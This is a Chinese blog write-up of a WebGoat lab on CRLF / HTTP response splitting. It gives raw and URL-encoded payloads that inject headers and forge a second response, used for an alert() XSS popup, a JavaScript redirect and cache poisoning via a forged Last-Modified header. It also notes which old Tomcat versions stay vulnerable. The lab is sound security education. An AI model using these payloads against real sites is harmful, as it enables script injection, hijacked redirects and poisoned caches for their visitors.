CRLF——http response 拆分攻击(webgoat)

0x01 什么是CRLF

  • CRLF是“回车+换行”(\r和\n)/(%0d和%0a)的简称。
  • CRLF利用: 正常输入的请求中加入恶意代码,控制HTTP响应header中的字符(Location,Set-Cookie),注入一个 %0d%0a,可以控制首部,注入两个%0d%0a,可以控制主体, 浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。
  • 形成原因:Web应用程序未对用户提交的数据进行严格过滤和检查,导致攻击者可以提交一些恶意字符如(CR、LF等)然后进行构造恶意代码进行攻击。

 
 

0x02 实验环境

  • 问题点:输入的“china”拼接到新链接,然后302跳转至新链接,构造输入,在“china”后面添加包含CRLF的恶意代码。
 

 

 

2.1 控制response header——set-cookie

 payload如下:

 

2.2 控制response主体——XSS弹窗

china
Content-Length: 0
 
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 30
 
<html>
<script>alert(/xss/)</script>
</html>

 

 构造payload如下(这里换行用%0A,空一行用%0A%0A,实验也是成功的):
 
china%0AContent-Length:%200%0A%0AHTTP/1.1%20200%20OK%0AContent-Type:%20text/html;charset=utf-8%0AContent-Length:%2030%0A%0A%3Chtml%3E%0A%3Cscript%3Ealert(/xss/)%3C/script%3E%0A%3C/html%3E
 
 
 
 

2.3 控制response主体——XSS跳转

china
Content-Length: 0
 
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 47
 
<html>
<script language="JavaScript">
document.location.href="http://www.baidu.com"
</script>
</html>

  

构造输入(换行符是%0d%0a,空一行是%0d%0a%0d%0a,实验也是成功的):
 
china%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a%3Chtml%3E%0A%3Cscript%20language%3D%22JavaScript%22%3E%0Adocument.location.href%3D%22http%3A%2F%2Fwww.baidu.com%22%0A%3C%2Fscript%3E%0A%3C%2Fhtml%3E
 
 
① server根据response1跳转:
 

 

 

② 发起第二个request,跳转

 
③ response跳转至baidu
 
 

2.4 缓存毒化 

Server收到带Last-Modified这个头,下次浏览器发送request就会带上If-Modified-Since或者If-Unmodified-Since,服务器收到这个request的If-Modified-Since后,通过读取它的值对比资源存在的地方的Last-Modified,服务器就告诉浏览器是否可以使用缓存。
 
china
Content-Length: 0
 
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2099 14:50:18 GMT
Content-Length: 30
 
<html>arlentest</html>

 

 

0x03 说明

现在的主流Web服务器比如IIS,Apache HTTP Server以及WebGoat使用的Tomcat等等都有对这个问题作过改进,服务器会对即将发送出去的HTTP响应头里面每一项的值都会做一定的编码或者转换,以避免这个问题。比如Tomcat就响应头中的每一项的值都做过了URLEncode,从而保证即使Web应用存在HTTP应答拆分的漏洞,Web服务器上也从底层平台的角度保证了尽可能避免HTTP应答拆分漏洞带来的威胁。所以如果想要在自己的实验室环境中重现对HTTP应答拆分漏洞的成功利用,可以尝试安装比较老的Web服务器版本,比如Tomcat 4.1.24之前的版本。另外客户端也会有些关系,因为客户端可能会在每次请求后完全收取服务器响应回来的数据,并且把超出范围的多余数据丢弃,这样也可以避免HTTP应答拆分攻击可能造成的影响。

参考链接:

WebGoat教程解析——HTTP Response Splitting

webgoat中文手册

 

 

posted @ 2019-10-12 17:52  Flo_Kz  阅读(1036)  评论(0编辑  收藏  举报